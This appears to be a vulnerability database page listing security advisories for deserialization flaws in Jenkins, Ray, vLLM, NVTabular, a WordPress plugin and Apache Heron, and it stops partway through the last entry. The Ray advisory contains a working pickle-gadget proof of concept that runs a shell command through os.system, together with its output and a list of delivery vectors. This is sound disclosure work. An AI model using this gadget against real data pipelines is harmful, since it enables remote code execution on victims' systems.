Common Weakness Enumeration

CWE-502

Allowed

Deserialization of Untrusted Data

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

4834 vulnerabilities reference this CWE, most recent first.

GHSA-HHPM-5CP2-HG4X

Vulnerability from github – Published: 2022-05-13 01:01 – Updated: 2025-10-22 17:35

Summary

Deserialization of Untrusted Data in Jenkins

Details

A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.

Severity

9.8 (Critical)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.138.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.main:jenkins-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.138.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.153"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.main:jenkins-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.140"
            },
            {
              "fixed": "2.154"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1000861"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-30T15:56:17Z",
    "nvd_published_at": "2018-12-10T14:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.",
  "id": "GHSA-hhpm-5cp2-hg4x",
  "modified": "2025-10-22T17:35:50Z",
  "published": "2022-05-13T01:01:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000861"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/jenkins/commit/47f38d714c99e1841fb737ad1005618eb26ed852"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHBA-2019:0024"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2018-1000861"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/166778/Jenkins-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106176"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deserialization of Untrusted Data in Jenkins"
}

GHSA-HHRP-GW25-JR43

Vulnerability from github – Published: 2026-07-24 15:47 – Updated: 2026-07-24 15:47

Summary

Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)

Details

Summary

ray.data.read_webdataset(paths=...) is a @PublicAPI(stability="alpha") reader for WebDataset-format TAR files. Its default decoder=True invokes _default_decoder on every sample's keys, which routes file extension to a decoder by extension. Two of those branches deserialize attacker-controlled bytes with no validation:

.pickle / .pkl -> pickle.loads(value)
.pt / .pth -> torch.load(io.BytesIO(value), weights_only=False)

Both fire during a standard ray.data.read_webdataset(...).take_all() / .iter_batches() call. No flags, no opt-in, no environment variable. An attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror, email attachment, model-zoo, or any HTTP URL the user passes to read_webdataset) achieves arbitrary code execution in the calling Ray process at schema-sample time, before row data is consumed.

This is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type cloudpickle deserialization, patched in 2.55.0): standard data-loading API, attacker-controlled file format, deserialization gadget invoked transparently. The 2.55.0 patch addressed tensor_extensions/arrow.py:_deserialize_with_fallback and made cloudpickle opt-in via RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. The WebDataset path is a different code site and was not touched.

Vulnerable code (HEAD `a157d4d`)

python/ray/data/_internal/datasource/webdataset_datasource.py lines 175-225, the _default_decoder function:

def _default_decoder(sample, format=True):
    sample = dict(sample)
    for key, value in sample.items():
        extension = key.split(".")[-1]
        ...
        elif extension in ["pt", "pth"]:
            import torch
            # PyTorch 2.6 changed torch.load default weights_only=True, which
            # breaks loading general Python objects previously serialized for
            # WebDataset .pt payloads.
            sample[key] = torch.load(io.BytesIO(value), weights_only=False)   # line 219
        elif extension in ["pickle", "pkl"]:
            import pickle
            sample[key] = pickle.loads(value)                                 # line 223
    return sample

The comment for the .pt/.pth branch is itself a security smell: it documents that the maintainer chose weights_only=False to override PyTorch 2.6's safer default. The comment treats this as a compatibility fix; it functionally re-enables an arbitrary-code-execution path that upstream PyTorch closed.

Reachability and default-on confirmation

python/ray/data/read_api.py:2289 defines read_webdataset with default decoder=True:

@PublicAPI(stability="alpha")
def read_webdataset(
    paths,
    *,
    ...
    decoder: Optional[Union[bool, str, callable, list]] = True,
    ...
) -> Dataset:
    ...
    datasource = WebDatasetDatasource(paths, decoder=decoder, ...)

WebDatasetDatasource._read_stream (line 367) calls the decoder unconditionally when not None:

for sample in samples:
    if self.decoder is not None:
        sample = _apply_list(self.decoder, sample, default=_default_decoder)

True is not None evaluates True, so the default decoder fires for every invocation that doesn't explicitly pass decoder=None (or a custom safe decoder). The documentation does not warn about the behavior.

End-to-end reproduction

Tested on a fresh venv (pip install ray[data]) on Linux x86_64. Ray reports __version__ == "2.55.1" (the patched-against-GHSA-mw35 release):

import io, os, pickle, subprocess, tarfile, tempfile, sys

MARKER = "/tmp/ray_webdataset_poc_rce_marker"

class Gadget:
    def __reduce__(self):
        cmd = (f"/bin/sh -c \"printf 'RCE via ray.data.read_webdataset\\n"
               f"pid=%s\\nuser=%s\\n' \"$$\" \"$(whoami)\" > {MARKER}\"")
        return (os.system, (cmd,))

with tempfile.NamedTemporaryFile(suffix=".tar", delete=False) as f:
    tar_path = f.name
with tarfile.open(tar_path, "w") as tar:
    for name, body in (("000000.txt", b"hello"),
                       ("000000.pkl", pickle.dumps(Gadget()))):
        ti = tarfile.TarInfo(name=name); ti.size = len(body)
        tar.addfile(ti, io.BytesIO(body))

import ray, ray.data
ray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)
ds = ray.data.read_webdataset(paths=[tar_path])
rows = ds.take_all()
assert os.path.exists(MARKER), "no RCE"
print(open(MARKER).read())

Output:

ray version: 2.55.1
crafted /tmp/tmpjpos115h.tar (10240 bytes)
ds.take_all() returned 1 row(s)
RCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker:
    RCE via ray.data.read_webdataset
    pid=248816
    user=xyz

The .pt/.pth variant is the exact same primitive against the torch.load(io.BytesIO(value), weights_only=False) branch; replace the TAR member with 000000.pt containing torch.save(Gadget()) to reproduce.

Real-world delivery vectors

paths=["s3://bucket/poisoned.tar"] -- the user thinks they are reading a WebDataset shard; the bucket is shared, mis-permissioned, or compromised.
paths=["https://attacker/model.tar"] -- HTTP-served WebDataset.
HuggingFace Hub -- WebDataset is a recognized HF dataset format; users pull TAR shards via datasets and feed them to Ray Data.
Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.

Why GHSA-mw35 doesn't cover this

GHSA-mw35-8rx3-xf9r patched tensor_extensions/arrow.py:_deserialize_with_fallback by gating cloudpickle.loads behind RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. That change touches the Parquet ExtensionType deserialization path only. The advisory text does not mention WebDataset, the WebDataset code is in a different module, and the unsafe loads here use pickle.loads and torch.load(weights_only=False) (not cloudpickle.loads).

Suggested patch

Two minimal options, both Ray-internal:

Make the unsafe extensions opt-in, mirroring the GHSA-mw35 fix pattern. Replace the .pt/.pth and .pkl/.pickle branches with a guard:

```python import os _ALLOW_UNSAFE = os.environ.get( "RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE", "0" ) == "1"

elif extension in ["pt", "pth"]: if not _ALLOW_UNSAFE: raise ValueError( f"Refusing to load .pt/.pth member {key!r} from WebDataset " f"with weights_only=False. Set " f"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted " f"sources." ) sample[key] = torch.load(io.BytesIO(value), weights_only=False)

elif extension in ["pickle", "pkl"]: if not _ALLOW_UNSAFE: raise ValueError( f"Refusing to unpickle WebDataset member {key!r} -- " f"untrusted pickle is RCE. Provide your own decoder " f"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for " f"trusted sources." ) sample[key] = pickle.loads(value) ```

Drop these branches from the default decoder entirely and require callers to provide their own decoder when working with .pkl/.pt samples. This is the safer default, matches WebDataset upstream's guidance ("by default, use safe decoders"), and is consistent with the spirit of the GHSA-mw35 patch.

Either option flips the default-on RCE primitive into an explicit opt-in. The current default-on behavior provides no signal to users that calling ray.data.read_webdataset on an untrusted TAR is equivalent to running attacker code.

References

Source: python/ray/data/_internal/datasource/webdataset_datasource.py:175-225
Public API: python/ray/data/read_api.py:2287-2370 (read_webdataset)
Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type, patched 2.55.0)
Earlier related advisory: PR #45084 (2024) fixed PyExtensionType cloudpickle but did not touch the WebDataset decoder.
WebDataset format: https://github.com/webdataset/webdataset

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ray"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.56.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T15:47:38Z",
    "nvd_published_at": "2026-07-01T17:16:37Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`ray.data.read_webdataset(paths=...)` is a `@PublicAPI(stability=\"alpha\")`\nreader for WebDataset-format TAR files. Its default `decoder=True` invokes\n`_default_decoder` on every sample\u0027s keys, which routes file extension to a\ndecoder by extension. Two of those branches deserialize attacker-controlled\nbytes with no validation:\n\n- `.pickle` / `.pkl` -\u003e `pickle.loads(value)`\n- `.pt`     / `.pth` -\u003e `torch.load(io.BytesIO(value), weights_only=False)`\n\nBoth fire during a standard `ray.data.read_webdataset(...).take_all()` /\n`.iter_batches()` call. No flags, no opt-in, no environment variable.\nAn attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror,\nemail attachment, model-zoo, or any HTTP URL the user passes to\n`read_webdataset`) achieves arbitrary code execution in the calling\nRay process at schema-sample time, before row data is consumed.\n\nThis is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow\nExtension Type cloudpickle deserialization, patched in 2.55.0): standard\ndata-loading API, attacker-controlled file format, deserialization gadget\ninvoked transparently. The 2.55.0 patch addressed\n`tensor_extensions/arrow.py:_deserialize_with_fallback` and made cloudpickle\nopt-in via `RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. The\nWebDataset path is a different code site and was not touched.\n\n## Vulnerable code (HEAD `a157d4d`)\n\n`python/ray/data/_internal/datasource/webdataset_datasource.py` lines\n175-225, the `_default_decoder` function:\n\n```python\ndef _default_decoder(sample, format=True):\n    sample = dict(sample)\n    for key, value in sample.items():\n        extension = key.split(\".\")[-1]\n        ...\n        elif extension in [\"pt\", \"pth\"]:\n            import torch\n            # PyTorch 2.6 changed torch.load default weights_only=True, which\n            # breaks loading general Python objects previously serialized for\n            # WebDataset .pt payloads.\n            sample[key] = torch.load(io.BytesIO(value), weights_only=False)   # line 219\n        elif extension in [\"pickle\", \"pkl\"]:\n            import pickle\n            sample[key] = pickle.loads(value)                                 # line 223\n    return sample\n```\n\nThe comment for the `.pt/.pth` branch is itself a security smell: it\ndocuments that the maintainer chose `weights_only=False` *to override*\nPyTorch 2.6\u0027s safer default. The comment treats this as a compatibility\nfix; it functionally re-enables an arbitrary-code-execution path that\nupstream PyTorch closed.\n\n## Reachability and default-on confirmation\n\n`python/ray/data/read_api.py:2289` defines `read_webdataset` with default\n`decoder=True`:\n\n```python\n@PublicAPI(stability=\"alpha\")\ndef read_webdataset(\n    paths,\n    *,\n    ...\n    decoder: Optional[Union[bool, str, callable, list]] = True,\n    ...\n) -\u003e Dataset:\n    ...\n    datasource = WebDatasetDatasource(paths, decoder=decoder, ...)\n```\n\n`WebDatasetDatasource._read_stream` (line 367) calls the decoder\nunconditionally when not None:\n\n```python\nfor sample in samples:\n    if self.decoder is not None:\n        sample = _apply_list(self.decoder, sample, default=_default_decoder)\n```\n\n`True is not None` evaluates True, so the default decoder fires for every\ninvocation that doesn\u0027t explicitly pass `decoder=None` (or a custom safe\ndecoder). The documentation does not warn about the behavior.\n\n## End-to-end reproduction\n\nTested on a fresh venv (`pip install ray[data]`) on Linux x86_64. Ray\nreports `__version__ == \"2.55.1\"` (the patched-against-GHSA-mw35 release):\n\n```python\nimport io, os, pickle, subprocess, tarfile, tempfile, sys\n\nMARKER = \"/tmp/ray_webdataset_poc_rce_marker\"\n\nclass Gadget:\n    def __reduce__(self):\n        cmd = (f\"/bin/sh -c \\\"printf \u0027RCE via ray.data.read_webdataset\\\\n\"\n               f\"pid=%s\\\\nuser=%s\\\\n\u0027 \\\"$$\\\" \\\"$(whoami)\\\" \u003e {MARKER}\\\"\")\n        return (os.system, (cmd,))\n\nwith tempfile.NamedTemporaryFile(suffix=\".tar\", delete=False) as f:\n    tar_path = f.name\nwith tarfile.open(tar_path, \"w\") as tar:\n    for name, body in ((\"000000.txt\", b\"hello\"),\n                       (\"000000.pkl\", pickle.dumps(Gadget()))):\n        ti = tarfile.TarInfo(name=name); ti.size = len(body)\n        tar.addfile(ti, io.BytesIO(body))\n\nimport ray, ray.data\nray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)\nds = ray.data.read_webdataset(paths=[tar_path])\nrows = ds.take_all()\nassert os.path.exists(MARKER), \"no RCE\"\nprint(open(MARKER).read())\n```\n\nOutput:\n\n```\nray version: 2.55.1\ncrafted /tmp/tmpjpos115h.tar (10240 bytes)\nds.take_all() returned 1 row(s)\nRCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker:\n    RCE via ray.data.read_webdataset\n    pid=248816\n    user=xyz\n```\n\nThe `.pt/.pth` variant is the exact same primitive against the\n`torch.load(io.BytesIO(value), weights_only=False)` branch; replace the\nTAR member with `000000.pt` containing `torch.save(Gadget())` to reproduce.\n\n## Real-world delivery vectors\n\n- `paths=[\"s3://bucket/poisoned.tar\"]` -- the user thinks they are reading\n  a WebDataset shard; the bucket is shared, mis-permissioned, or\n  compromised.\n- `paths=[\"https://attacker/model.tar\"]` -- HTTP-served WebDataset.\n- HuggingFace Hub -- WebDataset is a recognized HF dataset format; users\n  pull TAR shards via `datasets` and feed them to Ray Data.\n- Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.\n\n## Why GHSA-mw35 doesn\u0027t cover this\n\nGHSA-mw35-8rx3-xf9r patched `tensor_extensions/arrow.py:_deserialize_with_fallback`\nby gating `cloudpickle.loads` behind\n`RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. That change touches\nthe Parquet ExtensionType deserialization path only. The advisory text\ndoes not mention WebDataset, the WebDataset code is in a different\nmodule, and the unsafe loads here use `pickle.loads` and\n`torch.load(weights_only=False)` (not `cloudpickle.loads`).\n\n## Suggested patch\n\nTwo minimal options, both Ray-internal:\n\n1. **Make the unsafe extensions opt-in**, mirroring the GHSA-mw35 fix\n   pattern. Replace the `.pt/.pth` and `.pkl/.pickle` branches with a\n   guard:\n\n   ```python\n   import os\n   _ALLOW_UNSAFE = os.environ.get(\n       \"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE\", \"0\"\n   ) == \"1\"\n\n   elif extension in [\"pt\", \"pth\"]:\n       if not _ALLOW_UNSAFE:\n           raise ValueError(\n               f\"Refusing to load .pt/.pth member {key!r} from WebDataset \"\n               f\"with weights_only=False. Set \"\n               f\"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted \"\n               f\"sources.\"\n           )\n       sample[key] = torch.load(io.BytesIO(value), weights_only=False)\n\n   elif extension in [\"pickle\", \"pkl\"]:\n       if not _ALLOW_UNSAFE:\n           raise ValueError(\n               f\"Refusing to unpickle WebDataset member {key!r} -- \"\n               f\"untrusted pickle is RCE. Provide your own decoder \"\n               f\"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for \"\n               f\"trusted sources.\"\n           )\n       sample[key] = pickle.loads(value)\n   ```\n\n2. **Drop these branches from the default decoder entirely** and require\n   callers to provide their own decoder when working with .pkl/.pt\n   samples. This is the safer default, matches WebDataset upstream\u0027s\n   guidance (\"by default, use safe decoders\"), and is consistent with\n   the spirit of the GHSA-mw35 patch.\n\nEither option flips the default-on RCE primitive into an explicit\nopt-in. The current default-on behavior provides no signal to users\nthat calling `ray.data.read_webdataset` on an untrusted TAR is\nequivalent to running attacker code.\n\n## References\n\n- Source: `python/ray/data/_internal/datasource/webdataset_datasource.py:175-225`\n- Public API: `python/ray/data/read_api.py:2287-2370` (`read_webdataset`)\n- Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet\n  Arrow Extension Type, patched 2.55.0)\n- Earlier related advisory: PR #45084 (2024) fixed PyExtensionType\n  cloudpickle but did not touch the WebDataset decoder.\n- WebDataset format: https://github.com/webdataset/webdataset",
  "id": "GHSA-hhrp-gw25-jr43",
  "modified": "2026-07-24T15:47:38Z",
  "published": "2026-07-24T15:47:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/security/advisories/GHSA-hhrp-gw25-jr43"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57516"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/pull/63469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/pull/63470"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/commit/41443a18f9e6403a072de69098a279c23e2d943c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/ray/PYSEC-2026-2273.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ray-project/ray"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/releases/tag/ray-2.56.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/ray-unsafe-deserialization-rce-via-webdataset-reader"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)"
}

GHSA-HJ4W-HM2G-P6W5

Vulnerability from github – Published: 2025-04-29 14:52 – Updated: 2025-05-29 16:51

Summary

vLLM Vulnerable to Remote Code Execution via Mooncake Integration

Details

Impacted Deployments

Note that vLLM instances that do NOT make use of the mooncake integration are NOT vulnerable.

Description

vLLM integration with mooncake is vaulnerable to remote code execution due to using pickle based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack.

This is a similar to GHSA - x3m8 - f7g5 - qhm7, the problem is in

https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179

Here recv_pyobj() Contains implicit pickle.loads(), which leads to potential RCE.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.5"
            },
            {
              "fixed": "0.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-32444"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-29T14:52:29Z",
    "nvd_published_at": "2025-04-30T01:15:51Z",
    "severity": "CRITICAL"
  },
  "details": "## Impacted Deployments\n\n**Note that vLLM instances that do NOT make use of the mooncake integration are NOT vulnerable.**\n\n## Description\n\nvLLM integration with mooncake is vaulnerable to remote code execution due to using `pickle` based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack.\n\n\nThis is a similar to [GHSA - x3m8 - f7g5 - qhm7](https://github.com/vllm-project/vllm/security/advisories/GHSA-x3m8-f7g5-qhm7), the problem is in\n\nhttps://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179\n\nHere [recv_pyobj()](https://github.com/zeromq/pyzmq/blob/453f00c5645a3bea40d79f53aa8c47d85038dc2d/zmq/sugar/socket.py#L961) Contains implicit `pickle.loads()`, which leads to potential RCE.",
  "id": "GHSA-hj4w-hm2g-p6w5",
  "modified": "2025-05-29T16:51:22Z",
  "published": "2025-04-29T14:52:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-hj4w-hm2g-p6w5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-x3m8-f7g5-qhm7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32444"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/a5450f11c95847cf51a17207af9a3ca5ab569b2c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-42.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM Vulnerable to Remote Code Execution via Mooncake Integration"
}

GHSA-HJ75-H2WQ-2XM2

Vulnerability from github – Published: 2026-06-02 18:31 – Updated: 2026-06-02 18:31

Details

NVIDIA NVTabular contains a vulnerability where an attacker could cause improper deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering and information disclosure.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-24221"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-02T17:16:27Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA NVTabular contains a vulnerability where an attacker could cause improper deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering and information disclosure.",
  "id": "GHSA-hj75-h2wq-2xm2",
  "modified": "2026-06-02T18:31:33Z",
  "published": "2026-06-02T18:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24221"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5851"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24221"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HJ98-X6PJ-XG29

Vulnerability from github – Published: 2024-03-31 18:30 – Updated: 2026-04-28 15:30

Details

Deserialization of Untrusted Data vulnerability in Filter Custom Fields & Taxonomies Light.This issue affects Filter Custom Fields & Taxonomies Light: from n/a through 1.05.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-31094"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-31T18:15:47Z",
    "severity": "CRITICAL"
  },
  "details": "Deserialization of Untrusted Data vulnerability in Filter Custom Fields \u0026 Taxonomies Light.This issue affects Filter Custom Fields \u0026 Taxonomies Light: from n/a through 1.05.",
  "id": "GHSA-hj98-x6pj-xg29",
  "modified": "2026-04-28T15:30:41Z",
  "published": "2024-03-31T18:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31094"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/filter-custom-fields-taxonomies-light/vulnerability/wordpress-filter-custom-fields-taxonomies-light-plugin-1-05-php-object-injection-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/filter-custom-fields-taxonomies-light/wordpress-filter-custom-fields-taxonomies-light-plugin-1-05-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HJGM-F7VX-M5G7

Vulnerability from github – Published: 2022-01-06 19:44 – Updated: 2021-05-25 19:50

Summary

Deserialization of Untrusted Data in Apache Heron

Details

It was noticed that Apache Heron 0.20.2-incubating, Release 0.20.1-incubating, and Release v-0.20.0-incubating does not configure its YAML parser to prevent the instantiation of arbitrary types, resulting in a remote code execution vulnerabilities (CWE-502: Deserialization of Untrusted Data).

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.20.2-incubating"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.heron:heron-simulator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.20.0-incubating"
            },
            {
              "fixed": "0.20.3-incubating"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-1964"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-25T19:50:23Z",
    "nvd_published_at": "2020-04-16T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "It was noticed that Apache Heron 0.20.2-incubating, Release 0.20.1-incubating, and Release v-0.20.0-incubating does not configure its YAML parser to prevent the instantiation of arbitrary types, resulting in a remote code execution vulnerabilities (CWE-502: Deserialization of Untrusted Data).",
  "id": "GHSA-hjgm-f7vx-m5g7",
  "modified": "2021-05-25T19:50:23Z",
  "published": "2022-01-06T19:44:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1964"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r16dd39f4180e4443ef4ca774a3a5a3d7ac69f91812c183ed2a99e959%40%3Cdev.heron.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd43ae18588fd7bdb375be63bc95a651aab319ced6306759e1237ce67@%3Cdev.ignite.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re7b43cf8333ee30b6589e465f72a6ed4a082222612d1a0fdd30beb94@%3Cdev.ignite.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re7b43cf8333ee30b6589e465f72a6ed4a082222612d1a0fdd30beb94@%3Cuser.ignite.apache.org%3E"
    },
    {
      "type": "WEB",
